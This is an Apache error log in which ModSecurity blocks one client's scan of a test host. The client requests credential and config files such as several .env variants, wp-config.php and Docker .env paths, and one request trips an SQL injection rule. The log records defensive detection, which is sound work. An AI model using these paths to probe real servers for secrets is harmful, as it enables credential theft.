[Fri Mar 13 10:38:49.383072 2026] [:error] [pid 2664145] [client 185.177.72.49:14600] [client 185.177.72.49] ModSecurity: Warning. Pattern match "(?i:(?:^[\\\\W\\\\d]+\\\\s*?(?:alter\\\\s*(?:a(?:(?:pplication\\\\s*rol|ggregat)e|s(?:ymmetric\\\\s*ke|sembl)y|u(?:thorization|dit)|vailability\\\\s*group)|c(?:r(?:yptographic\\\\s*provider|edential)|o(?:l(?:latio|um)|nversio)n|ertificate|luster)|s(?:e(?:rv(?:ice|er)| ..." at ARGS_NAMES:*update*. [file "/usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "471"] [id "942360"] [msg "Detects concatenated basic SQL injection and SQLLFI attempts"] [data "Matched Data: *update found within ARGS_NAMES:*update*: *update*"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/package-updates/*"] [unique_id "abPbKXsA15YdMX9id2CBAgAAAAI"]
[Fri Mar 13 10:38:49.383231 2026] [:error] [pid 2664145] [client 185.177.72.49:14600] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/package-updates/*"] [unique_id "abPbKXsA15YdMX9id2CBAgAAAAI"]
[Fri Mar 13 10:38:49.383380 2026] [:error] [pid 2664145] [client 185.177.72.49:14600] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/package-updates/*"] [unique_id "abPbKXsA15YdMX9id2CBAgAAAAI"]
[Fri Mar 13 10:38:50.852543 2026] [authz_core:error] [pid 2664145] [client 185.177.72.49:14600] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/*
[Fri Mar 13 10:38:52.755195 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.testing"] [unique_id "abPbLPmn1dy9zAV7pLBYQgAAAAA"]
[Fri Mar 13 10:38:52.755402 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.testing"] [unique_id "abPbLPmn1dy9zAV7pLBYQgAAAAA"]
[Fri Mar 13 10:38:52.755561 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.testing"] [unique_id "abPbLPmn1dy9zAV7pLBYQgAAAAA"]
[Fri Mar 13 10:38:52.802018 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "abPbLPmn1dy9zAV7pLBYRAAAAAA"]
[Fri Mar 13 10:38:52.802263 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "abPbLPmn1dy9zAV7pLBYRAAAAAA"]
[Fri Mar 13 10:38:52.802441 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "abPbLPmn1dy9zAV7pLBYRAAAAAA"]
[Fri Mar 13 10:38:52.848767 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abPbLPmn1dy9zAV7pLBYRgAAAAA"]
[Fri Mar 13 10:38:52.848969 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abPbLPmn1dy9zAV7pLBYRgAAAAA"]
[Fri Mar 13 10:38:52.849119 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abPbLPmn1dy9zAV7pLBYRgAAAAA"]
[Fri Mar 13 10:38:52.895923 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "abPbLPmn1dy9zAV7pLBYSAAAAAA"]
[Fri Mar 13 10:38:52.896136 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "abPbLPmn1dy9zAV7pLBYSAAAAAA"]
[Fri Mar 13 10:38:52.896294 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "abPbLPmn1dy9zAV7pLBYSAAAAAA"]
[Fri Mar 13 10:38:52.991970 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "abPbLPmn1dy9zAV7pLBYTAAAAAA"]
[Fri Mar 13 10:38:52.992184 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "abPbLPmn1dy9zAV7pLBYTAAAAAA"]
[Fri Mar 13 10:38:52.992346 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "abPbLPmn1dy9zAV7pLBYTAAAAAA"]
[Fri Mar 13 10:38:53.015740 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abPbLfmn1dy9zAV7pLBYTQAAAAA"]
[Fri Mar 13 10:38:53.015959 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abPbLfmn1dy9zAV7pLBYTQAAAAA"]
[Fri Mar 13 10:38:53.016121 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abPbLfmn1dy9zAV7pLBYTQAAAAA"]
[Fri Mar 13 10:38:53.038443 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abPbLfmn1dy9zAV7pLBYTgAAAAA"]
[Fri Mar 13 10:38:53.038635 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abPbLfmn1dy9zAV7pLBYTgAAAAA"]
[Fri Mar 13 10:38:53.038784 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abPbLfmn1dy9zAV7pLBYTgAAAAA"]
[Fri Mar 13 10:38:53.576630 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /stripe/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe/.env"] [unique_id "abPbLfmn1dy9zAV7pLBYZQAAAAA"]
[Fri Mar 13 10:38:53.576824 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe/.env"] [unique_id "abPbLfmn1dy9zAV7pLBYZQAAAAA"]
[Fri Mar 13 10:38:53.576965 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe/.env"] [unique_id "abPbLfmn1dy9zAV7pLBYZQAAAAA"]
[Fri Mar 13 10:38:53.647610 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".docker/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/.env"] [unique_id "abPbLfmn1dy9zAV7pLBYaAAAAAA"]
[Fri Mar 13 10:38:53.647815 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/.env"] [unique_id "abPbLfmn1dy9zAV7pLBYaAAAAAA"]
[Fri Mar 13 10:38:53.647949 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/.env"] [unique_id "abPbLfmn1dy9zAV7pLBYaAAAAAA"]
[Fri Mar 13 10:38:53.670600 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".docker/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/laravel/app/.env"] [unique_id "abPbLfmn1dy9zAV7pLBYaQAAAAA"]
[Fri Mar 13 10:38:53.670791 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/laravel/app/.env"] [unique_id "abPbLfmn1dy9zAV7pLBYaQAAAAA"]
[Fri Mar 13 10:38:53.670937 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/laravel/app/.env"] [unique_id "abPbLfmn1dy9zAV7pLBYaQAAAAA"]
[Fri Mar 13 10:38:53.694619 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env-example"] [unique_id "abPbLfmn1dy9zAV7pLBYagAAAAA"]
[Fri Mar 13 10:38:53.694820 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env-example"] [unique_id "abPbLfmn1dy9zAV7pLBYagAAAAA"]
[Fri Mar 13 10:38:53.694960 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env-example"] [unique_id "abPbLfmn1dy9zAV7pLBYagAAAAA"]
[Fri Mar 13 10:38:53.717648 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env-sample"] [unique_id "abPbLfmn1dy9zAV7pLBYawAAAAA"]
[Fri Mar 13 10:38:53.717838 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env-sample"] [unique_id "abPbLfmn1dy9zAV7pLBYawAAAAA"]
[Fri Mar 13 10:38:53.717995 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env-sample"] [unique_id "abPbLfmn1dy9zAV7pLBYawAAAAA"]
